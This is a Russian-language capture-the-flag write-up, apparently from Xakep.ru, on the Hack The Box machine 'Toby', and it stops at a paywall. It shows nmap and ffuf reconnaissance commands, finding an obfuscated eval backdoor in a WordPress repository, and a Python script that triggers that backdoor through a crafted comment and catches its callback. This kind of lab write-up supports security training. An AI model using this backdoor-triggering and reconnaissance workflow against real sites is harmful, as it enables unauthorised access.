Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.121 toby.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашли четыре открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 10022 — служба OpenSSH 8.1;
- 10080 — пока неизвестный HTTP-сервер.
Как обычно, начнем с веб‑сервера, тем более Nmap сам нашел для нас файл robots.txt.
Справка: robots.txt
Этот файл используется для того, чтобы попросить краулеры (например, Google или Яндекс) не трогать какие‑то определенные каталоги. Например, никто не хочет, чтобы в поисковой выдаче появлялись страницы авторизации администраторов сайта, файлы или персональная информация со страниц пользователей и прочие вещи в таком духе. Однако и злоумышленники первым делом просматривают этот файл, чтобы узнать о файлах и каталогах, которые хочет спрятать администратор сайта.
Сканирование веб-контента
В robots.txt записана директория wp-admin
, говорящая нам о том, что сайт работает на WordPress. Если взглянуть в историю запросов Burp, то найдем и новый поддомен, который добавляем в /
.
10.10.11.121 toby.htb wordpress.toby.htb
А на самом сайте находим сообщение о недавней атаке.
Больше ничего любопытного найти не удалось, сканирование с помощью WPScan ничего интересного тоже не показало. А так как на сайте уже есть один поддомен, можем попытаться найти еще. Сканировать будем с помощью ffuf, а в качестве места для перебора указываем HTTP-заголовок Host
.
ffuf -u http://toby.htb -H "Host: FUZZ.toby.htb" -w subdomains-top1million-110000.txt -t 256 -fs 10837
Находим новый поддомен backup
, который сразу добавляем в /
. А на сайте нас встречает Gogs — легковесный сервис Git, написанный на Go.
10.10.11.121 toby.htb wordpress.toby.htb backup.toby.htb
Точка входа
В Git находим одного пользователя toby-admin
, чьи репозитории не отображаются.
Но попробуем просканировать репозитории как каталоги с помощью того же ffuf.
ffuf -u http://backup.toby.htb/toby-admin -w directory_2.3_medium_lowercase.txt -t 256
В итоге находим два каталога, один из которых не возвращает никакого контента (starts
). А вот репозиторий backup
очень интересен, так как это исходные коды сайта wordpress.
.
Скачиваем репозиторий (git
) и для удобства открываем в каком‑нибудь редакторе для программирования. Я буду использовать VSCode. Так как сайт построен на WordPress, первым делом получим учетные данные для подключения к базе данных. Они содержатся в файле wp-config.
.
Обратим внимание на хост mysql.
, о котором мы пока ничего не знаем. Пароль для подключения к базе данных по SSH подключиться не помог, поэтому будем анализировать исходные коды. Сообщение об атаке было оставлено не просто так, скорее всего, нам нужно найти бэкдор. Так как это PHP-файлы, я попробовал поискать в них «опасные» функции. И находим интересное применение функции eval
, которая нужна для выполнения передаваемого в нее кода на PHP.
Переходим к файлу comment.
, где в функцию eval
после нескольких операций по преобразованию передается закодированная последовательность.
Это не обычный код WordPress, поэтому остановимся именно на нем. Посмотрим, где вызывается функция wp_handle_comment_submission
.
И видим вызов из файла wp-comments-post.
. То есть мы можем получить доступ к бэкдору при отправке комментариев к посту. Давай разбираться с самим бэкдором.
Точка опоры
Я скопировал код бэкдора и обернул его в теги PHP, чтобы получить декодированный код. Но там оказался точно такой же вложенный код!
Похоже, таких уровней вложенности будет много. Я решил воспользоваться онлайновым сервисом для деобфускации кода.
Здесь представлен только механизм авторизации для получения доступа к основному коду, которому передается управление через функцию wp_validate_4034a3
(строка 8). Туда переправляются переменные host
и sec
. Так, в комментарии должны быть указаны help@toby.
в качестве почтового адреса и http://
в качестве URL. Переменные host
и sec
должны быть разделены символом :
, и перед этой последовательностью должна идти строка 746f6279
. По синтаксису я решил, что sec
— это порт, куда должен прийти бэкконнект. Откроем листенер и отправим пробный комментарий.
Но на листенер ничего не пришло. Тогда откроем Wireshark, отбросим весть трафик, связанный с 80-м портом, и повторим наш коммент. И увидим попытку бэкконнекта на порт 20053!
Перезапустим листенер с указанием нового порта и снова получим бэкконнект. В итоге вместо реверс‑шелла нам приходит какая‑то строка. Вероятно, придется программировать самим. Давай автоматизируем отправку запроса и прием бэкконнекта.
import socketimport requestsfor i in range(2): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 20053)) sock.listen(1) try: url = 'http://wordpress.toby.htb/wp-comments-post.php' data = {"comment": "746f627910.10.14.82:4321", "author": "ralf", "email": "help@toby.htb", "url": "http://test.toby.htb/", "submit": "Post Comment", "comment_post_ID": "2", "comment_parent": "0"} requests.post(url, data = data, timeout = 0.5) except requests.exceptions.Timeout: pass conn, address = sock.accept() data = conn.recv(1024) print(data.decode()) conn.close() sock.close()
Еще я заметил, что при каждом новом запросе первая часть строки ответа (GUID
) изменяется, а вторая часть остается такой же за исключением двух символов.
Это натолкнуло на мысль о том, что строка закодирована в hex. И предположение оказалось верным. Если у тебя установлен пакет pwntools, можешь использовать команду unhex.
Также получаем новую пометку: xor_key
. Я попытался снова декодировать уже новое шестнадцатеричное значение, но получил какие‑то непонятные символы. Про XOR упоминается неспроста, поэтому нужно попробовать проксорить полученные данные, но с каким ключом? Из всех используемых данных мы не нашли применения только отправленному параметру sec
. Я использовал это значение в качестве ключа для XOR и получил внятную строку!
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»